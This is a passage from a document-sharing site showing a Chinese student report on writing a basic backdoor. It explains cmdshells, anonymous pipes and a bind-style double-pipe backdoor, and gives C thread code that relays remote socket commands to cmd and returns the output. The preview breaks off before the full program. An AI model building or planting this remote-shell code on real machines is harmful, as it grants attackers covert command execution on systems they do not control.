- 1、本文档共9页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
基本的后门编写
基本后门的编写
网络工程0901 张恺南 200926680125
1.1后门概述
绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成了安全风险。后门又称为Back Door —— 一台计算机上有0到65535共65536个端口,那么如果把计算机看作是一间屋子,那么这65536个端口就可以把它看做是计算机为了与外界连接所开的65536扇门。
2.1简单cmdshell的实现
什么是cmdshell?
cmd就是系统中的cmd窗口,shell在英语中是“壳”的意思,cmdshell可以理解为是由被入侵系统返回的一个类似于cmd窗口的可以远程执行命令的模块。
本地主机
cmdshell有1和2两个不同的通信过程,要实现cmdshell,必须解决这两个通信问题。首先1过程是后门和cmd之间的通信,我们可以用管道通信技术来实现这个过程;2过程是跨越计算机的网络通信,我们可以用Winsock类库来实现。
2.2.1管道通信技术
什么是管道?
管道是一种进程间,确切地说是线程间的通信方法。管道,正如这个名字所表示的,是一个有两个端口的对象,进程可以从这个对象的一个端口写入信息,并从这个对象的另一个端口读取信息。管道其实也是一个共享内存,但是这个共享内存更加规范,而且有类似于队列的数据结构,不像内存映射文件那样仅仅是共享内存。
2.2.2正向连接后门编程
所谓正向连接后门,就是在被控制的计算机上监听一个端口,等待连接,当有连接后就启动后门功能,这又是最古老的后门。
2.2.2.1 双管道后门
所谓双管道后门,顾名思义也就是这个后门建立了两个管道。由于匿名管道是单向的,所以cmd的执行结果写入管道1的写句柄(hWritePipe),后门从管道1的读句柄(hReadFile)读取cmd的执行结果;后门把接收到的命令写入管道2的写句柄(hWriteFile),cmd通过管道2的读句柄(hReadPipe)读取命令执行。
通过CreatePipe函数建立管道,建立两个线程,每个线程建立一个管道,线程1用于循环读取管道1中的数据,一旦读到数据,就发送给控制者;线程2用于循环接受数据,一旦接受到数据就写入管道2中,由cmd来执行。
具体代码如下:
//接受远程主机的命令,并写入管道2
DWORD WINAPI Thread2( LPVOID lpParam )
{
SECURITY_ATTRIBUTES sa;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//创建管道
CreatePipe(hReadPipe,hWriteFile,sa,0);
while(true)
{
Sleep(250);
//接受远程cmd命令
nByteToWrite = recv(sClient ,recv_buff,1024,0);
//写入管道
WriteFile(hWriteFile,recv_buff,nByteToWrite,nByteWritten,NULL);
}
return 0;
}
//读取管道1中的数据,返回给远程主机
DWORD WINAPI Thread1( LPVOID lpParam )
{
SECURITY_ATTRIBUTES sa;
DWORD len;
char send_buff[2048];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(hReadFile,hWritePipe,sa,0);
while (true)
{
//读取管道中的数据
ReadFile(hReadFile,send_buff,2048,len,NULL);
//把管道中的数据发送给远程主机
send(sClient,send_buff,len,0);
}
return 0;
}
在主函数中我们只要调用CreateThread函数启动这两个线程就可以了。由于这两个线程是在接收连接后,但管道没有和cmd的输入输出关联时启动,所以启动后,线程1是不能从管道1中读到数据的。线程2假
您可能关注的文档
最近下载
- 常见肿瘤分期手册第八版中文版.pdf VIP
- 中南15ZJ201《平屋面》( Word 可编辑版).docx
- 汉语言文学毕业自我鉴定(通用17篇).pdf VIP
- 退休人员派遣劳务合同8篇.docx VIP
- 《新时代劳动教育实践指导手册(四年级下册)》 《劳动快乐,我爱劳动》【四年级下册】(1)劳动价值观培养+(2)日常劳动我来干.pptx VIP
- 中职英语基础模块2(高教版)教案:Unit3-Internship(全6课时).doc
- 副总经理招聘面试题及回答建议(某大型央企).docx VIP
- 2024年智能建造技术.pptx
- 钢结构的安装PPT课件.ppt VIP
- 倪海厦--伤寒论.doc
文档评论(0)